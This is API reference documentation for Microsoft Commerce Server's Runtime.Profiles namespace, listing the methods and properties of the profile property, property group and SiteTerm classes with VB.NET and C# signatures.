Name | Contains the name of the property attribute.
Value | Contains the value of the property attribute.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttribute Properties (BCL)

Public Instance Properties

Property | Description
Name | Contains the name of the property attribute.
Value | Contains the value of the property attribute.


ProfilePropertyAttribute.Name Property (BCL)

The Name property contains the name of the property attribute.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.Object containing the name of the attribute.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttribute.Value Property (BCL)

The Value property contains the value of the property attribute.

Definition

[Visual Basic .NET]
Public ReadOnly Property Value As System.Object
[C#]
public System.Object Value {get;}

Property Value

A System.Object containing the value of the attribute.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection Class (BCL)

The ICollection implementation for the profile attributes collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | Indexer to allow for accessing the ProfilePropertyAttribute collection by name.
Item(Int32) | Indexer to allow for accessing the ProfilePropertyAttribute collection by index.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.


ProfilePropertyAttributeCollection.CopyTo (Array, Int32) Method (BCL)

Explicit ICollection.CopyTo implementation. This method copies the elements of this collection into the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Array to copy data to.
index
The zero-based index in the array at which copying begins.
[C#]
array
Array to copy data to.
index
The zero-based index in the array at which copying begins.

Implements

System.Collections.ICollection

Remarks

Always throws a NotImplementedException exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | Indexer to allow for accessing the ProfilePropertyAttribute collection by name.
Item(Int32) | Indexer to allow for accessing the ProfilePropertyAttribute collection by index.
SyncRoot | Retrieves the object for synchronizing operations on this collection.


ProfilePropertyAttributeCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

A System.Int32 indicating the number of ProfilePropertyAttributes items.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.IsSynchronized Property (BCL)

The IsSynchronized property indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.Item(Int32) Property (BCL)

The Item property allows for accessing the ProfilePropertyAttribute collection items by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfilePropertyAttribute
[C#]
public ProfilePropertyAttribute Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
Specifies the zero-based index item in the ProfilePropertyAttribute collection to return.
[C#]
index
Specifies the zero-based index item in the ProfilePropertyAttribute collection to return.

Property Value

The handle to the specified ProfilePropertyAttribute instance.

Remarks

Throws and ArgumentOutOfRange exception if the parameter is out of range.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.Item(String) Property (BCL)

The Item property allows for accessing the ProfilePropertyAttribute collection items by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As ProfilePropertyAttribute
[C#]
public ProfilePropertyAttribute Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
A System.String containing the name of the ProfilePropertyAttribute
[C#]
name
A System.String containing the name of the ProfilePropertyAttribute

Property Value

The handle to the specified ProfilePropertyAttribute instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.SyncRoot Property (BCL)

The SyncRoot property retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection Class (BCL)

Creates an abstraction for the profile properties collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies specified element to the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the ProfileProperty collection by index.
Item(String) | Indexer to allow for accessing the ProfileProperty collection by name.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies specified element to the specified array.
GetEnumerator | Retrieves the enumerator on this collection.


ProfilePropertyCollection.CopyTo (Array, Int32) Method (BCL)

Copies specified element to the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy data to.
index
Zero-based index in array at which copying begins.
[C#]
array
The array to copy data to.
index
Zero-based index in array at which copying begins.

Implements

System.Collections.ICollection

Remarks

Always throws an InvalidOperation exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the ProfileProperty collection by index.
Item(String) | Indexer to allow for accessing the ProfileProperty collection by name.
SyncRoot | Retrieves the object for synchronizing operations on this collection.


ProfilePropertyCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Implements

System.Collections.ICollection

Property Value

A System.Int32 indicating the number of ProfileProperties in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.IsSynchronized Property (BCL)

The IsSynchronized property indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.Item(Int32) Property (BCL)

The Item property is an indexer to allow for accessing the ProfileProperty collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
The index of the ProfileProperty collection.
[C#]
index
The index of the ProfileProperty collection.

Property Value

Handle to the specified ProfileProperty instance.

Remarks

Throws and ArgumentOutOfRange exception if the parameter is out of range.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.Item(String) Property (BCL)

The Item property is an indexer to allow for accessing the ProfileProperty collection by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
A System.String containing the name of the ProfileProperty collection.
[C#]
name
A System.String containing the name of the ProfileProperty collection.

Property Value

The handle to the specified ProfileProperty instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.SyncRoot Property (BCL)

The SyncRoot property retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyGroup Class (BCL)

Creates an abstraction for a profile property group.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Public Instance Properties

Property | Description
Item(String) | Retrieves the ProfileProperty instance by name.
Name | Accesses the property group name.
Properties | Retrieves the property collection on this property group.
PropertyGroups | Retrieves the property groups collection on this property group.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves the ProfileProperty instance by name.
Name | Accesses the property group name.
Properties | Retrieves the property collection on this property group.
PropertyGroups | Retrieves the property groups collection on this property group.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Item Property (BCL)

The Item property retrieves the ProfileProperty instance by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal propertyName As System.String _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.String propertyName
) {get;}

Parameters

[Visual Basic .NET]
propertyName
A System.String containing the name of the property.
[C#]
propertyName
A System.String containing the name of the property.

Property Value

The ProfileProperty object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Name Property (BCL)

The Name property accesses the property group name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String containing the name of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Properties Property (BCL)

The Properties property retrieves the property collection on this property group.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Properties As ProfilePropertyCollection
[C#]
public virtual ProfilePropertyCollection Properties {get;}

Property Value

The ProfilePropertyCollection object.

Implements

IProfileElements

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.PropertyGroups Property (BCL)

The PropertyGroups property retrieves the property groups collection on this property group.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyGroups As ProfilePropertyGroupCollection
[C#]
public virtual ProfilePropertyGroupCollection PropertyGroups {get;}

Property Value

The ProfilePropertyGroupCollection object.

Implements

IProfileElements

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection Class (BCL)

Creates an abstraction for a property groups collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Checks to see if this collection supports synchronization.
Item(Int32) | Retrieves a ProfilePropertyGroup instance by index.
Item(String) | Retrieves a ProfilePropertyGroup instance by index.
SyncRoot | Retrieve the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.CopyTo (Array, Int32) Method (BCL)

Explicit ICollection.CopyTo implementation. Copies the elements of this collection into the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Array to copy data to.
index
Zero-based index in array at which copying begins.
[C#]
array
Array to copy data to.
index
Zero-based index in array at which copying begins.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Checks to see if this collection supports synchronization.
Item(Int32) | Retrieves a ProfilePropertyGroup instance by index.
Item(String) | Retrieves a ProfilePropertyGroup instance by index.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Implements

System.Collections.ICollection

Property Value

A System.Int32 indicating the number of ProfilePropertyGroup objects in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.IsSynchronized Property (BCL)

The IsSynchronized property checks to see if this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.Item (Int32) Property (BCL)

The Item property is the indexer to allow for accessing the ProfilePropertyGroupCollection collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfilePropertyGroup
[C#]
public ProfilePropertyGroup Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
The index of the ProfilePropertyGroup in the collection.
[C#]
index
The index of the ProfilePropertyGroup in the collection.

Property Value

The value of the index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.Item (String) Property (BCL)

The Item property is the indexer to allow for accessing the ProfilePropertyGroupCollection collection by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.String _
) As ProfilePropertyGroup
[C#]
public ProfilePropertyGroup Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
The name of the ProfilePropertyGroup in the collection.
[C#]
name
The name of the ProfilePropertyGroup in the collection.

Property Value

The name of the ProfilePropertyGroup in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.SyncRoot Property (BCL)

The SyncRoot property retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfileXmlFormat Enumeration (BCL)

Enumerates the XML formats supported by the Profiling System.

Members

Member Name | Description
AttributeCentric | Indicates the attribute-centric format.
ElementCentric | Indicates the element-centric format.

Remarks

Inherits from System.Enum.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileXmlRetrieve Enumeration (BCL)

Enumerates the XML retrieval options supported by the Profiling System.

Members

Member Name | Description
Data | Indicates retrieve data only.
Schema | Indicates retrieve schema only.
SchemaAndData | Indicates retrieve data and schema.

Remarks

Inherits from System.Enum.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SiteTerm Class (BCL)

Encapsulates a site term.

Public Instance Methods

Method | Description
Validate (Object) | Validates that the value set on the specified ProfileProperty a valid value on this SiteTerm.

Public Instance Properties

Property | Description
Elements | Accesses the site term elements.
Name | Accesses the name property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm Methods (BCL)

Public Instance Methods

Method | Description
Validate (Object) | Validates that the value set on the specified ProfileProperty is a valid value on this SiteTerm.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm.Validate (Object) Method (BCL)

Use this method to validate that the value set on the specified ProfileProperty is a valid value on this SiteTerm object.

Definition

[Visual Basic .NET]
Public Function Validate( _
ByVal property As ProfileProperty _
) As Boolean
[C#]
public Boolean Validate(
ProfileProperty property
);

Parameters

[Visual Basic .NET]
property
The ProfileProperty to be validated.
[C#]
property
The ProfileProperty to be validated.

Return Value

A Boolean indicating whether the ProfileProperty is valid. A value of true indicates that the ProfileProperty is valid.

Remarks

A check will be done against the contained site term data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm Properties (BCL)

Public Instance Properties

Property | Description
Elements | Accesses the site term elements.
Name | Accesses the name property.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm.Elements Property (BCL)

The Elements property returns the site term elements collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Elements As Microsoft.CommerceServer.Runtime.Profiles.SiteTermCollection
[C#]
public Microsoft.CommerceServer.Runtime.Profiles.SiteTermCollection Elements {get;}

Property Value

The SiteTermCollection that contains the site term elements.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm.Name Property (BCL)

The Name property access the name property.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String containing the name of the site term.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement Class (BCL)

Encapsulates a site-term element.

Public Instance Methods

Method | Description
CompareTo (Object) | Compares the SiteTermElement object to a given object.
Equals (Object) | Determines whether two Object instances are equal.
GetHashCode | Serves as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.

Public Instance Properties

Property | Description
Name | Accesses the name of this site term element
Value | Accesses the value of this site term element

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement Methods (BCL)

Public Instance Methods

Method | Description
CompareTo (Object) | Compares the SiteTermElement to a given object.
Equals (Object) | Determines whether two Object instances are equal.
GetHashCode | Serves as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.CompareTo (Object) Method (BCL)

Use this method to compares the SiteTermElement to a given object of type SiteTermElement.

Definition

[Visual Basic .NET]
Overridable Public Function CompareTo( _
  ByVal obj As System.Object _
) As Integer
[C#]
public virtual Integer CompareTo(
  System.Object obj
);

Parameters

[Visual Basic .NET]
obj
The object to be compared to.
[C#]
obj
The object to be compared to.

Return Value

If the return value is less than 0, the name member of the SiteTerm element object is less than the name member of the input parameter.

If the return value is equal to 0, the name member of the SiteTerm element object is equal to the name member of the input parameter.

If the return value is greater than 0, the name member of the SiteTerm element object is greater than the name member of the input parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.Equals (Object) Method (BCL)

Use this method to determine whether two Object instances are equal.

Definition

[Visual Basic .NET]
Overridable Public Function Equals( _
  ByVal obj As System.Object _
) As System.Boolean
[C#]
public virtual System.Boolean Equals(
  System.Object obj
);

Parameters

[Visual Basic .NET]
obj
The object to compare with the current Object.
[C#]
obj
The object to compare with the current Object.

Return Value

A value of True if the specified Object is equal to the current Object; otherwise, False.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.GetHashCode Method (BCL)

Use this method to serve as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.

Definition

[Visual Basic .NET]
Overrides Public Function GetHashCode( _
) As Integer
[C#]
public override Integer GetHashCode(
);

Return Value

A hash code for the current Object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement Properties (BCL)

Public Instance Properties

Property | Description
Name | Accesses the name of the site term element
Value | Accesses the value of the site term element

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.Name Property (BCL)

The Name property accesses the name of the SiteTermElement object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String containing the name of the site term element.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.Value Property (BCL)

The Value property accesses the value of the SiteTermElement object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Value As System.Object
[C#]
public System.Object Value {get;}

Property Value

A System.Object containing the name of the site term element.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection Class (BCL)

Creates an abstraction for the SiteTerm elements collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copy elements to an array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Not used.
Item(String) | Indexer to allow for accessing the SiteTerm collection by name.
SyncRoot | Not used

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copy elements to an array.
GetEnumerator | Retrieves the enumerator on this collection.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.CopyTo (SiteTerm[], Int32) Method (BCL)

Copy elements to an array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As SiteTerm[], _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  SiteTerm[] array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Array to copy data to.
index
Index at which to start copying.
[C#]
array
Array to copy data to.
index
Index at which to start copying.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

